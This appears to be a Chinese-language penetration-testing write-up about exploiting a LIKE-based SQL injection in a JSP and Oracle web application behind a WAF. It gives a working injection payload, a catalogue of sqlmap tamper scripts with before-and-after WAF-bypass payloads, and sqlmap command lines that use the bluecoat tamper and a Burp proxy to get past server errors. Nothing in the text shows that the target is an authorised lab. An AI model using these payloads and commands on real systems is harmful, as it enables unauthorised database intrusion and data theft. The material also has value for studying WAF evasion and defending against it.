环境:jsp+oracle
从FUZZ的结果以及http响应的长度来看,普通的注入被waf拦截,存在like注入
like注入其实也并不是两边都要有 %,我们只需要闭合单引号就行了:
接下来用sysdata参数可以确定数据库为oracle。
sysdata函数为oracle数据库的日期,length求的是字符长度,可构造语句:
1’ AND LENGTH(SYSDATE) LIKE LENGTH(SYSDATE) AND ‘NGjD’ LIKE 'NGjD
现在可以确定存在注入了,于是移步到工具使用环节
like注入的话一般要用到tamper脚本了,SQLMAP 的tamper脚本可在一定程度上避开应用程序的敏感字符过滤、绕过 WAF 规则的阻挡,继而进行渗透攻击,否则可能会检测不出注入,常见的tamper脚本有:
base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT+id+FROM+users
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Did%0DFROM%0Ausers
space2comment.py
作用:将空格替换为//
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT//id//FROM//users
equaltolike.py
作用:将=替换为LIKE
使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后:SELECT * FROM users WHERE id LIKE 1
bluecoat.py
适用数据库:Blue Coat SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
作用:内联注释绕过
使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
between.py
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper(‘1 AND A > B–’)
使用脚本后:1 AND A NOT BETWEEN 0 AND B–
本次用到的是bluecoat
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat
是可以跑出存在注入的,我们看到数据库的类型判断的不太对,且还一直报
[CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
翻译:[紧急]连接被丢弃或接收到未知的HTTP状态码。Sqlmap将重试请求。
然后这里无论你y或者n,都会自动停止
初步判断原因是使用了大量的注入语句导致服务器返回500报错:
返回大量的错误时sqlmap会自动停止注入扫描,于是我们加入threads参数指定为1让线程慢一些,还是会报错:
线程都为1了还不行,于是想到了可以利用burpsuite作为代理,然后手动放包:
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat --proxy http://127.0.0.1:8080
看到这次好了,开始判断数据库类型了,最后判定为oracle数据库: